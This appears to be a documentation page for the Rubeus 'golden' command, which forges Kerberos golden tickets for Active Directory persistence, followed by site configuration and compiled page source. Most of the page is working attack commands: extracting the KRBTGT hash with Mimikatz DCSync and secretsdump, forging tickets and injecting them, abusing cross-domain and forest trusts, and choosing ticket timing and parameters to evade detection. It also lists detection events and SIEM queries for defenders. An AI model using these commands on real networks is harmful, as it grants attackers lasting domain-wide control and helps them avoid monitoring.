Forge golden tickets for domain persistence and privilege escalation
Golden Ticket attacks represent the pinnacle of Active Directory persistence, providing domain-wide access that persists even after password changes and system reboots.
Overview
Golden tickets are forged Ticket Granting Tickets (TGTs) created using the KRBTGT account’s password hash. These tickets provide persistent, high-privilege access to Active Directory environments by appearing completely legitimate to domain controllers.
Domain Persistence
Maintain access even after credential rotations
Full Privileges
Domain Admin level access across the environment
Stealth Operations
Tickets appear legitimate to security controls
Attack Prerequisites
1
Obtain KRBTGT Hash
Extract the KRBTGT account password hash through DCSync or other methods
2
Domain Information
Gather domain SID, domain name, and target user information
3
Ticket Creation
Forge the golden ticket with desired privileges and validity
4
Ticket Injection
Apply the forged ticket to gain domain-wide access
Syntax Variations
Manual Mode
LDAP Mode
Output & Injection
# Manual specification of all parametersRubeus.exe golden /user:admin /domain:corp.local /sid:S-1-5-21-123456789-987654321-111111111 /rc4:krbtgt_hash
# Custom groups and timingRubeus.exe golden /user:admin /domain:corp.local /sid:S-1-5-21-123456789-987654321-111111111 /aes256:krbtgt_hash /groups:512,513,518,519 /endtime:"12/31/2025 23:59:59"
# Realistic user with limited groupsRubeus.exe golden /user:normaluser /domain:corp.local /sid:S-1-5-21-123456789-987654321-111111111 /aes256:krbtgt_hash /groups:513 /id:1001
# Let Rubeus gather domain information automaticallyRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap
# LDAP discovery with manual overridesRubeus.exe golden /user:admin /aes256:krbtgt_hash /ldap /groups:512,519 /endtime:"06/01/2025 12:00:00"
# Target specific DC for LDAP queriesRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /dc:dc01.corp.local
# Create ticket and apply immediatelyRubeus.exe golden /user:admin /domain:corp.local /sid:domain_sid /rc4:krbtgt_hash /ptt
# Save ticket for later useRubeus.exe golden /user:admin /domain:corp.local /sid:domain_sid /aes256:krbtgt_hash /outfile:golden.kirbi
# Generate command for executionRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /printcmd
Required Parameters
string
required
Username for the forged ticket
Show Username Options
Real Users: Use existing domain accounts for stealth
The forged TGT in base64 format for use or storage
[*] Action: Build TGT[*] Using LDAP to retrieve information for CORP.LOCAL[*] Searching path 'LDAP://DC=corp,DC=local' for '(objectClass=domain)'[*] Found domain object: DC=corp,DC=local[*] Domain SID: S-1-5-21-1234567890-987654321-111111111[*] Searching for target user 'admin'[*] Found user object: CN=Administrator,CN=Users,DC=corp,DC=local[*] User SID: S-1-5-21-1234567890-987654321-111111111-500[*] Building PAC[*] Domain : CORP.LOCAL (CORP)[*] SID : S-1-5-21-1234567890-987654321-111111111[*] UserId : 500[*] Groups : 512,513,518,519,520
LDAP mode automatically discovers domain information, making golden ticket creation much easier by eliminating the need to manually specify domain SID and other parameters.
[!] Invalid KRBTGT hash format![!] Please provide a valid RC4, AES128, or AES256 hash.[!] Unable to connect to domain controller for LDAP queries.[!] Please check network connectivity and domain name.[!] Insufficient privileges for LDAP queries.[!] Consider using manual mode with /domain and /sid parameters.
Common error scenarios:
Invalid hash format: KRBTGT hash must be valid hex string
Network issues: LDAP mode requires DC connectivity
Permissions: LDAP queries need authenticated domain access
Invalid SID: Manual mode requires correct domain SID format
Complete Attack Workflow
1
Obtain KRBTGT Hash
Extract KRBTGT credentials using DCSync or other methods:
# Using Mimikatzmimikatz.exe "lsadump::dcsync /user:krbtgt"# Using Impacketsecretsdump.py domain/user:password@dc01.corp.local# Using Rubeus with delegationRubeus.exe dump /service:krbtgt /nowrap
2
Domain Information Gathering
Collect required domain information (if not using LDAP mode):
# Get domain SIDGet-ADDomain | Select-Object DomainSID# Alternative methodwhoami /user
3
Golden Ticket Creation
Create the forged TGT with appropriate parameters:
# LDAP mode (recommended)Rubeus.exe golden /user:admin /rc4:krbtgt_ntlm_hash /ldap /ptt# Manual modeRubeus.exe golden /user:admin /domain:corp.local /sid:S-1-5-21... /rc4:krbtgt_hash /ptt
4
Verification and Usage
Verify the ticket was created and test access:
# List current ticketsRubeus.exe klist# Test domain controller accessdir \\dc01.corp.local\c$# Request service ticketsRubeus.exe asktgs /service:cifs/fileserver.corp.local
5
Persistence Operations
Use the golden ticket for persistent access:
# Save ticket for later useRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /outfile:golden.kirbi# Create additional tickets as neededRubeus.exe golden /user:serviceaccount /rc4:krbtgt_hash /ldap /groups:513,1001
Advanced Usage Scenarios
Stealth Operations
Cross-Domain Operations
Bulk Operations
Hide Realistic User Simulation
# Create ticket for existing user with normal privilegesRubeus.exe golden /user:john.doe /rc4:krbtgt_hash /ldap /groups:513 /id:1001# Gradually escalate with additional ticketsRubeus.exe golden /user:john.doe /rc4:krbtgt_hash /ldap /groups:513,1001,1002
Show Time-Based Evasion
# Create ticket with realistic timingRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /authtime:"10/25/2024 09:00:00" /endtime:"10/25/2024 17:00:00"# Short-lived ticket for specific operationsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /endtime:"10/25/2024 23:59:59"
Show Service Account Impersonation
# Impersonate service accountsRubeus.exe golden /user:svc_sql /rc4:krbtgt_hash /ldap /groups:513 /id:1100# Machine account impersonationRubeus.exe golden /user:COMPUTER$ /rc4:krbtgt_hash /ldap /groups:515
Hide Child Domain Access
# Target child domainRubeus.exe golden /user:admin /domain:child.corp.local /rc4:krbtgt_hash /ldap# Use parent domain KRBTGT for child accessRubeus.exe golden /user:admin /domain:child.corp.local /sid:child_domain_sid /rc4:parent_krbtgt_hash
Show Trust Relationships
# Cross-forest trust exploitationRubeus.exe golden /user:admin /domain:partner.com /sid:partner_domain_sid /rc4:trust_key# Enterprise Admin across forestRubeus.exe golden /user:admin /domain:corp.local /rc4:krbtgt_hash /groups:519 /ldap
Hide Multiple User Tickets
# Create tickets for multiple usersRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /outfile:admin.kirbiRubeus.exe golden /user:backup_admin /rc4:krbtgt_hash /ldap /outfile:backup.kirbiRubeus.exe golden /user:service_admin /rc4:krbtgt_hash /ldap /outfile:service.kirbi
Show Different Privilege Levels
# Domain Admin levelRubeus.exe golden /user:domain_admin /rc4:krbtgt_hash /ldap /groups:512,513,518,519,520# Standard user levelRubeus.exe golden /user:normal_user /rc4:krbtgt_hash /ldap /groups:513# Service account levelRubeus.exe golden /user:svc_account /rc4:krbtgt_hash /ldap /groups:513,1001,1002
OPSEC Considerations
High-Impact Attack: Golden tickets provide complete domain access and can be detected through various monitoring techniques.
Detection Vectors
Evasion Techniques
Defensive Countermeasures
Hide Ticket Analysis
Unusual Ticket Characteristics:
Tickets with 10-year validity periods
Non-existent usernames in tickets
Tickets created outside normal hours
Unusual group memberships or privileges
Behavioral Indicators:
Authentication without prior logon events
Access to resources without service ticket requests
Privileged operations from low-privilege accounts
Show Event Log Monitoring
Windows Event Logs:
Event 4769: Service ticket requests with unusual patterns
Event 4768: TGT requests that don’t correlate with golden ticket usage
Event 4624: Logon events that may not occur with golden tickets
Event 4672: Special privileges assigned without normal authentication
Show Network Monitoring
Kerberos traffic analysis for unusual patterns
TGS requests without corresponding TGT requests
Authentication to services without normal authentication flow
Unusual timing patterns in authentication events
Hide Realistic Ticket Parameters
# Use realistic validity periodsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /endtime:"12/31/2024 23:59:59"# Use existing usernamesRubeus.exe golden /user:existing_admin /rc4:krbtgt_hash /ldap# Use standard group membershipsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /groups:512,513
Show Timing Considerations
# Create tickets during business hoursRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /authtime:"10/25/2024 10:30:00"# Use realistic authentication timesRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /authtime:"10/25/2024 08:15:00" /starttime:"10/25/2024 08:15:00"
Show Operational Patterns
Limit the number of golden tickets created
Use different usernames for different operations
Avoid obvious administrative actions immediately after ticket creation
Restrict DCSync permissions to necessary accounts only
Detection Rules:
Monitor for DCSync operations against KRBTGT
Alert on unusual KRBTGT password changes
Track accounts with replication permissions
Show Ticket Monitoring
Advanced Detection:
Implement Kerberos ticket inspection
Monitor for tickets with unusual characteristics
Correlate authentication events with user behavior
Use machine learning for authentication anomaly detection
SIEM Rules:
-- Detect long-lived ticketsSELECT * FROM kerberos_eventsWHERE ticket_lifetime > '1 day'AND user NOT IN (service_accounts)-- Detect unusual group membershipsSELECT * FROM kerberos_eventsWHERE groups CONTAINS 'unusual_high_privilege_groups'
Troubleshooting
Show Common Issues
Hash Format Issues
LDAP Connectivity
Access Issues
Problem: Invalid KRBTGT hash format errorsSolutions:
Verify hash is exactly 32 characters for RC4
Ensure AES keys are proper length (32 chars for AES128, 64 for AES256)
Remove any spaces or line breaks from hash
Verify hash was extracted correctly
# Verify hash formatecho "hash_length: ${#krbtgt_hash}"# Test with RC4 hashRubeus.exe golden /user:test /rc4:32ed87bdb5fdc5e9cba88547376818d4 /domain:corp.local /sid:S-1-5-21...
Problem: LDAP queries failing in automatic modeSolutions:
Verify domain controller connectivity
Check DNS resolution for domain name
Ensure current user has domain authentication
Try manual mode if LDAP fails
# Test LDAP connectivitynslookup corp.local# Use manual mode as fallbackRubeus.exe golden /user:admin /domain:corp.local /sid:S-1-5-21... /rc4:krbtgt_hash
Problem: Forged ticket doesn’t provide expected accessSolutions:
Verify ticket was injected successfully
Check group memberships in ticket
Ensure target services are accessible
Verify KRBTGT hash is current
# Verify ticket injectionRubeus.exe klist# Test with different groupsRubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /groups:512,513,518,519,520# Describe ticket contentsRubeus.exe describe /ticket:golden.kirbi
Integration with Other Attacks
DCSync Integration
Use DCSync to obtain KRBTGT hash for golden ticket creation
Lateral Movement
Use golden tickets to access remote systems and services
Persistence Chains
Combine with other persistence techniques for redundant access
Privilege Escalation
Escalate from limited access to domain administrator privileges
Related Commands
silver
Create service-specific forged tickets
diamond
Create hybrid legitimate/forged tickets
ptt
Inject golden tickets into sessions
describe
Analyze golden ticket structure
{"docsConfig":{"theme":"mint","$schema":"https://mintlify.com/schema.json","name":"SpecterOps Open Source","colors":{"primary":"#2c2677","light":"#5465ff","dark":"#2c2677"},"logo":{"light":"https://mintcdn.com/specteropsdocs/k1yx6gbUDEwWUifq/logo/light.svg?fit=max\u0026auto=format\u0026n=k1yx6gbUDEwWUifq\u0026q=85\u0026s=c7134dc672345b82c85209dadeb0e8ba","dark":"https://mintcdn.com/specteropsdocs/k1yx6gbUDEwWUifq/logo/dark.svg?fit=max\u0026auto=format\u0026n=k1yx6gbUDEwWUifq\u0026q=85\u0026s=309680ef77c8d2d797a28dfe77531efb"},"favicon":"https://mintcdn.com/specteropsdocs/BBK0AWoMY3kd6fe3/favicon.png?fit=max\u0026auto=format\u0026n=BBK0AWoMY3kd6fe3\u0026q=85\u0026s=5678964ce347f372c752439aaa9d9b29","appearance":{"default":"dark"},"background":{"decoration":"gradient"},"navbar":{"links":[{"href":"https://github.com/SpecterOps","label":"Toolkit Hub"}],"primary":{"type":"button","label":"Contact Us","href":"https://specterops.io/contact/"}},"footer":{"socials":{"x":"https://x.com/specterops","website":"https://infosec.exchange/@SpecterOps","github":"https://github.com/SpecterOps","linkedin":"https://www.linkedin.com/company/specterops","slack":"https://slack.specterops.io/","instagram":"https://www.instagram.com/specterops.io","youtube":"https://www.youtube.com/channel/UCWMKKqCCQkUjU8dIyiL1yhQ"}},"integrations":{"plausible":{"domain":"docs.specterops.io"}},"styling":{"latex":false},"navigation":{"pages":[]}},"deployment":{"deploymentMetadataValue":{"subdomain":"specteropsdocs","hasAudioNarration":false,"actualSubdomain":"specteropsdocs","customDomains":["docs.specterops.io"],"gitSource":{"type":"github","owner":"specterops","repo":"specteropsdocs","deployBranch":"main","contentDirectory":"","isPrivate":true,"mountPath":"","label":"","_id":"6b10c7749ffae5051c407879"},"entitlements":{"AI_CHAT":{"status":"DISABLED"},"REMOVE_BRANDING":{"status":"DISABLED"},"CONTEXTUAL_FEEDBACK":{"status":"DISABLED"},"CODE_SNIPPET_FEEDBACK":{"status":"DISABLED"},"WEB_MCP":{"status":"DISABLED"},"NARRATION":{"status":"DISABLED"}},"buildId":"6ae942dc773fefe711103e1d:success","clientVersion":"0.0.4428","searchFilterCounts":[{"language":"default","tag":"Commands","count":306},{"language":"default","tag":"Documentation","count":287},{"language":"default","tag":"Overview","count":142},{"language":"default","tag":"Seatbelt","count":116},{"language":"default","tag":"Home","count":90},{"language":"default","tag":"Development","count":84},{"language":"default","tag":"Techniques","count":66},{"language":"default","tag":"Features","count":54},{"language":"default","tag":"Attack Techniques","count":39},{"language":"default","tag":"Defensive Techniques","count":33}]},"assistantConfig":{"enableAskAiButton":false,"enableStarterQuestions":false,"enableAskAiSearchBar":true},"basePath":"","hasChatPermissions":false,"hasWebMcpPermissions":false,"toggles":[{"name":"kill-isr","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-mintlify-slack","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-integrations-settings","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"rbac-expansion","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-pr-grouping","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-prefix","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"analytics-v7","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"user-flows-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"no-publish-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving-live","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"stripTemperatureMiddleware","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"support-platform-pylon-zendesk","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"instant-rollback","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications-server","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-fable","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fixed-ai-action-pricing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automation-resolve-merge-conflict","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"scoped-publishing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"mintql","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"page-level-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-version-history-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"billing-page-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"full-page-search","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workspace-projects","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fork-pr-previews","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"revalidation-jwt","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"hobby-abuse-scan","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"dashboard-inbox","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-dual-write","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"approve-review-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-metadata","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-serve","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"live-agents","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"starter-pricing","enabled":true,"variant":{"name":"control","enabled":true,"payload":{"type":"string","value":"control"},"feature_enabled":true},"impressionData":false},{"name":"llms-txt-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"auth-vite-origin","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false}],"starterQuestions":[],"googleFontsInlined":false},"customCss":[{"filePath":"nemesis-docs/docs/stylesheets/colors.css","content":"[data-md-color-scheme=\"nemesis-dark\"]{color-scheme:dark;--md-primary-fg-color: #262730;--mod-hue: 210;--md-default-fg-color: hsla(var(--md-hue), 15%, 90%, 0.82);--md-default-fg-color--light: hsla(var(--md-hue), 15%, 90%, 0.56);--md-default-fg-color--lighter: hsla(var(--md-hue), 15%, 90%, 0.32);--md-default-fg-color--lightest: hsla(var(--md-hue), 15%, 90%, 0.12);--md-default-bg-color: #0E1116;--md-default-bg-color--light: hsla(var(--md-hue), 15%, 14%, 0.54);--md-default-bg-color--lighter: hsla(var(--md-hue), 15%, 14%, 0.26);--md-default-bg-color--lightest: hsla(var(--md-hue), 15%, 14%, 0.07);--md-code-fg-color: hsla(var(--md-hue), 18%, 86%, 0.82);--md-code-bg-color: hsla(var(--md-hue), 15%, 18%, 1);--md-code-hl-number-color: #619a8c;--md-code-hl-special-color: var(--md-code-hl-number-color);--md-code-hl-function-color: #5382db;--md-code-hl-string-color: #61a242;--md-code-hl-operator-color: #965822;--md-code-hl-name-color: #e4e4e4;--md-code-hl-keyword-color: #4b74c6;--md-code-hl-punctuation-color: #808080;--md-code-hl-constant-color: hsla(250, 62%, 70%, 1);--md-code-hl-comment-color: rgb(98, 103, 119);--md-code-hl-variable-color: #ffffff;--md-code-hl-color: hsla(#{hex2hsl($clr-blue-a400)}, 1);--md-code-hl-color--light: hsla(#{hex2hsl($clr-blue-a400)}, 0.1);--md-code-hl-generic-color: var(--md-default-fg-color--light);--md-typeset-color: var(--md-default-fg-color);--md-typeset-a-color: #498AFB;--md-typeset-kbd-color: hsla(var(--md-hue), 15%, 90%, 0.12);--md-typeset-kbd-accent-color: hsla(var(--md-hue), 15%, 90%, 0.2);--md-typeset-kbd-border-color: hsla(var(--md-hue), 15%, 14%, 1);--md-typeset-mark-color: hsla(#{hex2hsl($clr-blue-a200)}, 0.3);--md-typeset-table-color: hsla(var(--md-hue), 15%, 95%, 0.12);--md-typeset-table-color--light: hsla(var(--md-hue), 15%, 95%, 0.035);--md-admonition-fg-color: var(--md-default-fg-color);--md-admonition-bg-color: var(--md-default-bg-color);--md-footer-bg-color: hsla(var(--md-hue), 15%, 10%, 0.87);--md-footer-bg-color--dark: hsla(var(--md-hue), 15%, 8%, 1);--md-shadow-z1:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.05),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.1);--md-shadow-z2:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.25),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.25);--md-shadow-z3:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.4),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.35);img[src$=\"#only-light\"],\n img[src$=\"#gh-light-mode-only\"] {\n display: none;\n }}[data-md-color-scheme=\"nemesis-light\"]{color-scheme:light;--md-primary-fg-color: #262730;--md-hue: 225deg;--md-default-fg-color: hsla(0, 0%, 0%, 0.87);--md-default-fg-color--light: hsla(0, 0%, 0%, 0.54);--md-default-fg-color--lighter: hsla(0, 0%, 0%, 0.32);--md-default-fg-color--lightest: hsla(0, 0%, 0%, 0.07);--md-default-bg-color: hsla(0, 0%, 100%, 1);--md-default-bg-color--light: hsla(0, 0%, 100%, 0.7);--md-default-bg-color--lighter: hsla(0, 0%, 100%, 0.3);--md-default-bg-color--lightest: hsla(0, 0%, 100%, 0.12);--md-code-fg-color: hsla(200, 18%, 26%, 1);--md-code-bg-color: hsla(200, 0%, 96%, 1);--md-code-hl-color: hsla(#{hex2hsl($clr-blue-a200)}, 1);--md-code-hl-color--light: hsla(#{hex2hsl($clr-blue-a200)}, 0.1);--md-code-hl-number-color: hsla(0, 67%, 50%, 1);--md-code-hl-special-color: hsla(340, 83%, 47%, 1);--md-code-hl-function-color: hsla(291, 45%, 50%, 1);--md-code-hl-constant-color: hsla(250, 63%, 60%, 1);--md-code-hl-keyword-color: hsla(219, 54%, 51%, 1);--md-code-hl-string-color: hsla(150, 63%, 30%, 1);--md-code-hl-name-color: var(--md-code-fg-color);--md-code-hl-operator-color: var(--md-default-fg-color--light);--md-code-hl-punctuation-color: var(--md-default-fg-color--light);--md-code-hl-comment-color: var(--md-default-fg-color--light);--md-code-hl-generic-color: var(--md-default-fg-color--light);--md-code-hl-variable-color: var(--md-default-fg-color--light);--md-typeset-color: var(--md-default-fg-color);--md-typeset-a-color: #498AFB;--md-typeset-del-color: hsla(6, 90%, 60%, 0.15);--md-typeset-ins-color: hsla(150, 90%, 44%, 0.15);--md-typeset-kbd-color: hsla(0, 0%, 98%, 1);--md-typeset-kbd-accent-color: hsla(0, 100%, 100%, 1);--md-typeset-kbd-border-color: hsla(0, 0%, 72%, 1);--md-typeset-mark-color: hsla(#{hex2hsl($clr-yellow-a200)}, 0.5);--md-typeset-table-color: hsla(0, 0%, 0%, 0.12);--md-typeset-table-color--light: hsla(0, 0%, 0%, 0.035);--md-admonition-fg-color: var(--md-default-fg-color);--md-admonition-bg-color: var(--md-default-bg-color);--md-warning-fg-color: hsla(0, 0%, 0%, 0.87);--md-warning-bg-color: hsla(60, 100%, 80%, 1);--md-footer-fg-color: hsla(0, 0%, 100%, 1);--md-footer-fg-color--light: hsla(0, 0%, 100%, 0.7);--md-footer-fg-color--lighter: hsla(0, 0%, 100%, 0.45);--md-footer-bg-color: hsla(0, 0%, 0%, 0.87);--md-footer-bg-color--dark: hsla(0, 0%, 0%, 0.32);--md-shadow-z1:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.05),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.1);--md-shadow-z2:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.1),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.25);--md-shadow-z3:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.2),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.35);img[src$=\"#only-dark\"],\n img[src$=\"#gh-light-mode-only\"] {\n display: none;\n }}"},{"filePath":"style.css","content":".card img{height:200px;object-fit:contain}.mermaid{display:flex;justify-content:center;text-align:center}"}]}
{"page":{"pagePath":"ghostpack-docs/Rubeus-mdx/commands/forgery/golden","slug":"/ghostpack-docs/Rubeus-mdx/commands/forgery/golden","pageMetadata":{"title":"golden","description":"Forge golden tickets for domain persistence and privilege escalation","icon":"crown","sidebarTitle":"golden","href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/golden","hidden":false},"description":{"compiledSource":"\"use strict\";\nconst {jsx: _jsx} = arguments[0];\nconst {useMDXComponents: _provideComponents} = arguments[0];\nfunction _createMdxContent(props) {\n const _components = {\n p: \"p\",\n ..._provideComponents(),\n ...props.components\n };\n return _jsx(_components.p, {\n children: \"Forge golden tickets for domain persistence and privilege escalation\"\n });\n}\nfunction MDXContent(props = {}) {\n const {wrapper: MDXLayout} = {\n ..._provideComponents(),\n ...props.components\n };\n return MDXLayout ? _jsx(MDXLayout, {\n ...props,\n children: _jsx(_createMdxContent, {\n ...props\n })\n }) : _createMdxContent(props);\n}\nreturn {\n default: MDXContent\n};\n","frontmatter":{},"scope":{}},"pageType":"default","mdx":{"mdxSource":{"compiledSource":"\"use strict\";const{Fragment:_Fragment,jsx:_jsx,jsxs:_jsxs}=arguments[0];const{useMDXComponents:_provideComponents}=arguments[0];function _createMdxContent(props){const _components={code:`code`,li:`li`,p:`p`,pre:`pre`,span:`span`,strong:`strong`,ul:`ul`,..._provideComponents(),...props.components},{Card,CardGroup,CodeBlock,CodeGroup,Expandable,Heading,Info,ParamField,ResponseField,Step,Steps,Tab,Tabs,Tooltip,Warning}=_components;if(!Card)_missingMdxReference(`Card`,true);if(!CardGroup)_missingMdxReference(`CardGroup`,true);if(!CodeBlock)_missingMdxReference(`CodeBlock`,true);if(!CodeGroup)_missingMdxReference(`CodeGroup`,true);if(!Expandable)_missingMdxReference(`Expandable`,true);if(!Heading)_missingMdxReference(`Heading`,true);if(!Info)_missingMdxReference(`Info`,true);if(!ParamField)_missingMdxReference(`ParamField`,true);if(!ResponseField)_missingMdxReference(`ResponseField`,true);if(!Step)_missingMdxReference(`Step`,true);if(!Steps)_missingMdxReference(`Steps`,true);if(!Tab)_missingMdxReference(`Tab`,true);if(!Tabs)_missingMdxReference(`Tabs`,true);if(!Tooltip)_missingMdxReference(`Tooltip`,true);if(!Warning)_missingMdxReference(`Warning`,true);return _jsxs(_Fragment,{children:[_jsx(Info,{children:_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Golden Ticket`}),` attacks represent the pinnacle of Active Directory persistence, providing domain-wide access that persists even after password changes and system reboots.`]})}),`\n`,_jsx(Heading,{level:`2`,id:`overview`,children:`Overview`}),`\n`,_jsx(_components.p,{children:`Golden tickets are forged Ticket Granting Tickets (TGTs) created using the KRBTGT account’s password hash. These tickets provide persistent, high-privilege access to Active Directory environments by appearing completely legitimate to domain controllers.`}),`\n`,_jsxs(CardGroup,{cols:3,children:[_jsx(Card,{title:`Domain Persistence`,icon:`clock`,children:_jsx(_components.p,{children:`Maintain access even after credential rotations`})}),_jsx(Card,{title:`Full Privileges`,icon:`crown`,children:_jsx(_components.p,{children:`Domain Admin level access across the environment`})}),_jsx(Card,{title:`Stealth Operations`,icon:`user-secret`,children:_jsx(_components.p,{children:`Tickets appear legitimate to security controls`})})]}),`\n`,_jsx(Heading,{level:`2`,id:`attack-prerequisites`,children:`Attack Prerequisites`}),`\n`,_jsxs(Steps,{children:[_jsx(Step,{title:`Obtain KRBTGT Hash`,children:_jsx(_components.p,{children:`Extract the KRBTGT account password hash through DCSync or other methods`})}),_jsx(Step,{title:`Domain Information`,children:_jsx(_components.p,{children:`Gather domain SID, domain name, and target user information`})}),_jsx(Step,{title:`Ticket Creation`,children:_jsx(_components.p,{children:`Forge the golden ticket with desired privileges and validity`})}),_jsx(Step,{title:`Ticket Injection`,children:_jsx(_components.p,{children:`Apply the forged ticket to gain domain-wide access`})})]}),`\n`,_jsx(Heading,{level:`2`,id:`syntax-variations`,children:`Syntax Variations`}),`\n`,_jsxs(Tabs,{children:[_jsx(Tab,{title:`Manual Mode`,id:`manual-mode`,children:_jsxs(CodeGroup,{children:[_jsx(CodeBlock,{filename:`Basic Golden Ticket`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Manual specification of all parameters`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:S-1-5-21-123456789-987654321-111111111`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`Advanced Configuration`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Custom groups and 